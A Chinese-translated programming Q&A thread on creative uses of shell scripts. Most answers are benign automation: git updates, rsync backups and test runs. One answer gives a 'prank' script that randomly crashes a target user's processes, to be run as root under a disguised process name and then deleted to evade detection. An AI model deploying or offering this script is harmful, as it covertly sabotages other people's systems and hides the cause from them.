And*_*rew 8 bash shell powershell
我喜欢能够使用shell脚本自动化我的计算机的想法,但我不知道我实际可以做什么.
您是否在服务器,个人计算机,上网本等上使用或者看过以新颖方式使用的shell脚本?
我想到的一些例子:
真的很想知道你可能要分享的内容,谢谢!
Sor*_*gal 11
这是一个有趣的恶作剧
#!/bin/bash
user=$1
while true ; do
kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)
sleep $RANDOM
done
Run Code Online (Sandbox Code Playgroud)
每隔几分钟,$ user拥有的程序就会出现段错误.如果以root身份运行并且给出一个无辜的名称,那么最好,但是以$ user运行它也可以.将脚本保存为例如"xterm"或"kded"或"gnome-session",chmod a + x脚本,然后像这样调用它:
$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname
Run Code Online (Sandbox Code Playgroud)
这将教会你的朋友不要让他们的系统解锁.此实现使用bsdgames中的随机,但您可以采用另一种方式进行选择.
要使我的所有 Git 存储库保持最新:
alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'
Run Code Online (Sandbox Code Playgroud)
要将我的计算机备份到远程空间:
alias backup='rsync -av ~/Documents user@domain.com: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'
Run Code Online (Sandbox Code Playgroud)
是的。我一直使用和创建脚本来自动化各种工作任务。调用示例:
some_project_test_suite
Run Code Online (Sandbox Code Playgroud)
这是一个 cd 到我存储 some_project 的文件夹中的脚本,然后在该文件夹中运行一系列不同的测试,这在命令行上一遍又一遍地输入会很痛苦。
这样的脚本可能非常简单,如下所示:
#! /bin/bash
cd path/to/folder/containing/some_project
path/to/build/system/binary test_target1 \
test_target2 \
...
test_targetN
Run Code Online (Sandbox Code Playgroud)
也就是说,我不确定我会准确地称呼这本小说。自动化应该是相当常规的。